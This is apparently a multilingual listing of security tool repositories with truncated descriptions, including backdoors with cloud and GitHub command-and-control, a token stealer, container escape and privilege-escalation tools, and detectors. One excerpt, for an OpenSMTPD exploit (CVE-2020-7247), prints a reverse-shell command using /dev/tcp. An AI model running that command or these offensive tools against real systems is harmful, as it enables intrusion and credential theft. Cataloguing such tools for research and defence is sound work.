ios-malicious-bithunter

iOS 악성 비트 헌터 개요 iOS 악성 비트 헌터는 iOS 애플리케이션을 위한 악성 플러그인 탐지 엔진입니다. 런타임에 주입된 dylib 동적 라이브러리의 macho 파일 헤더를 분석할 수 있으며, 인터페이스 입력 특성을 통해 행동 분석을 수행하여 동적 라이브러리 특징의 동작을 판단합니다. 이 프로그램은 탈옥 환경에 의존하지 않으며 AppStore에서 사용할 수 있습니다. 새로운 기능 이는 iOS 악성 코드의 동작을 정확하게 식별하는 새로운 방법입니다. 앱 내 Mach-O 형식을 기반으로 메모리에서 실행 중인 악성 코드를...

ios-malicious-bithunter

iOS Malicious Bit Hunter Abstract iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to...

covert-control

covert-control 파일을 Google Drive, OneDrive, Youtube 또는 Telegram에 업로드하여 시스템을 원격으로 제어합니다. Python을 사용하여 파일과 리스너를 생성합니다. 텍스트 파일, 이미지, 오디오 또는 비디오를 생성할 수 있으며, 명령은 평문 또는 AES로 암호화하여 포함할 수 있습니다. covert-googledrive.py - Google Drive의 공개 폴더에 파일을 업로드하여 시스템을 제어합니다. covert-onedrive.py - OneDrive의 공개 폴더에 파일을 업로드...

covert-control

covert-control Control systems remotely by uploading files to Google Drive, OneDrive, Youtube or Telegram using Python to create the files and the listeners. It allows to create text files, images, audio or videos, with the commands in cleartext or encrypted using AES. covert-googledrive.py -...

canisrufus

CanisRufus Github을 명령 및 제어 서버로 사용하는 은밀한 Python 기반 Windows 백도어입니다. 요구 사항 Python 2.x pygithub3 모듈 PyCrypto 모듈 WMI 모듈 Enum34 모듈 Netifaces 모듈 pypiwin32 모듈 기능 암호화된 전송 메시지 AES + SHA256 해싱 시스템 정보/특성을 사용하여 컴퓨터 고유 ID 생성 SHA256 해시 작업 ID는 무작위 SHA256 해시 시스템 정보 검색 지리적 위치 정보 검색 도시, 국가, 위도, 경도 등 실행 중인 프로세스/시스템...

UniPwn

Unitree ロボット BLE サービス コマンドインジェクション分析 著者: Bin4ry aka Andreas Makris [email protected] 共著者: h0stile aka Kevin Finisterre 寄稿者: legion1581 aka Konstantin Severov（theroboverse より）は、インジェクション用のペイロードの修正を手伝い、完全に動作するPoCでそれを証明してくれました 🙂 ありがとう、これは極めて重要な貢献でした。本当に感謝しています! 日付: 2025年9月20日 CVEs CVE-2025-35027...

CVE-2018-2893

CVE-2018-2893 ステップ 1 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd JRMPClient4 @pyner...

rizin-notebook

Rizin Notebook 바이너리 분석을 위한 노트북입니다. rizin을 사용하여 각 바이너리별로 노트, 명령어, 스크립트를 정리합니다. rizin 0.7.0 이상이 필요합니다. 기능 각 노트북 페이지 는 하나의 바이너리에 연결됩니다. 바이너리 자체, SHA-256 해시, 그리고 셀 목록을 저장합니다: 명령어 셀 - rizin 명령어와 그 출력 스크립트 셀 - 서버에서 rizin 파이프를 대상으로 실행되는 JavaScript 스니펫 마크다운 셀 - 자유 형식 노트 페이지는 /.rizin-notebook/ 디렉토리에 개별...

AzureHound

AzureHound Microsoft Azure용 BloodHound 데이터 수집기 AzureHound 받기 릴리스 바이너리 우리의 Releases에서 플랫폼에 맞는 바이너리를 다운로드하세요. 롤링 릴리스 롤링 릴리스에는 main 브랜치와 자동으로 최신 상태로 유지되는 사전 빌드된 바이너리가 포함되어 있으며 여기에서 다운로드할 수 있습니다. 경고: 롤링 릴리스는 불안정할 수 있습니다. 컴파일 사전 요구 사항 Go 1.25 이상 소스에서 이 프로젝트를 빌드하려면 다음을 실행하세요: go build -ldflags="-s -w -...

PurpleLlama

🤗 Hugging Face のモデル | ブログ | ウェブサイト | CyberSec Eval 論文 | Llama Guard 論文 Purple Llama Purple Llama は、時間の経過とともに、ツールと評価を結集し、コミュニティがオープンな生成 AI モデルを 責任を持って構築できるようにするための上位プロジェクトです。初期リリースには、サイバーセキュリティと 入出力セーフガードのためのツールと評価が含まれますが、近い将来 さらに多くの貢献を追加する予定です。 なぜ Purple なのか？ サイバーセキュリティの世界から 概念を借用し、生成 AI...

scout

Scout Scout is a URL fuzzer and spider for discovering undisclosed VHOSTS, files and directories on a web server. A full word list is included in the binary, meaning maximum portability and minimal configuration. Aim and fire! Usage Usage: scout command Available Commands: help Help about any...

scout

Scout Scout는 웹 서버에서 공개되지 않은 VHOST, 파일 및 디렉토리를 발견하기 위한 URL 퍼저 및 스파이더입니다. 전체 단어 목록이 바이너리에 포함되어 있어 최대의 이식성과 최소한의 설정을 제공합니다. 조준하고 발사하세요! 사용법 Usage: scout command Available Commands: help Help about any command url Discover URLs on a given web server. version Display scout version. vhost Discover VHOS...

Koh

Koh Koh는 의도적인 토큰/로그온 세션 유출을 통해 사용자 자격 증명 자료를 캡처할 수 있는 C 및 BOFBeacon Object File 도구 모음입니다. 일부 코드는 Elad Shamir의 Internal-Monologue 프로젝트라이선스 없음와 KB180548에서 영감을 받았습니다. 이것이 가능한 이유와 Koh의 접근 방식에 대해서는 이 README의 기술적 배경 섹션을 참조하세요. Koh의 동기와 접근 방식에 대한 더 자세한 설명은 Koh: The Token Stealer 게시물을 참조하세요. @harmj0y가 이 ...

deepce

deepce . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // 웹사이트 Docker 열거, 권한 상승 및 컨테이너 탈출 DEEPCE 최대한 많은 컨테이너와 호환되도록 DEEPCE는 의존성 없이 순수 sh로 작성되었습니다. 가능한 경우 curl, nmap, nslookup, dig와 같은 추가 도구를 활용하지만, 대부분의 경우 열거...

CVE-2020-7247

CVE-2020-7247 이 취약점은 OpenBSD 메일 서버 OpenSMTPD의 smtpmailaddr 함수에 존재하며, OpenBSD 버전 6.6에 영향을 미칩니다. 이를 통해 공격자는 root 사용자 권한으로 "sleep 66"과 같은 임의의 셸 명령어를 실행할 수 있습니다. 사용 방법 python3 getShell.py 리버스 셸이 필요하다면 다음과 같이 실행하세요. python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 중요 이 익스플로잇에서 RCPT t...

adidnsdump

Active Directory Integrated DNS dump tool By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer. This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks. For mo...

CVE-2016-3714.ansible.role

Ansible Role: CVE-2016-3714 Ansible로 ImageMagick Command Injection CVE-2016-3714 보안 문제를 해결합니다. 요구 사항 ImageMagick이 설치되어 있고 v6.7.7.10 이전 버전을 사용하는 모든 머신. Role 변수 이 역할에 대해 설정 가능한 변수에 대한 설명은 여기에 있어야 하며, defaults/main.yml에 있는 모든 변수를 포함합니다. policypath: "/etc/ImageMagick/policy.xml" injectionsrc:...

Tater

Tater Tater는 Hot Potato Windows 권한 상승 익스플로잇의 PowerShell 구현입니다. 크레딧 모든 크레딧은 @breenmachine, @foxglovesec, Google Project Zero 및 이 익스플로잇의 세부 사항을 해결하는 데 도움을 준 모든 분들에게 돌아갑니다. Potato - https://github.com/foxglovesec/Potato 포함된 프로젝트 p0wnedShell - https://github.com/Cn33liz/p0wnedShell PowerShell Empire ...

beacon-hunter

Beacon Hunter 비주기적 구조화 C2 탐지: 가산 재귀Additive Recurrence 방식 Beacon Hunter는 phi 호환 가산 재귀 스케줄링을 사용하는 C2 비콘닝command-and-control beaconing을 탐지합니다. 이는 각 연결 간 간격이 대략 이전 두 간격의 합과 같은, 증가하는 비주기적 타이밍 패턴입니다. 이 계열은 설계상 규칙성 기반 탐지기RITA, AC-Hunter를 회피하지만, 2단계 게이트 재귀 테스트를 통해 구조적으로 식별할 수 있습니다. "비콘은 주기적이지 않아도 구조적일 수...

ssj

SSJ - Your everyday Linux distribution gone Super Saiyan. Introduction SSJ is a silly little script that makes use of Docker installed on your everyday Linux distribution Ubuntu, Debian, etc. and magically arms it with hundreds of penetration testing and forensic tools. Technical Details SSJ pull...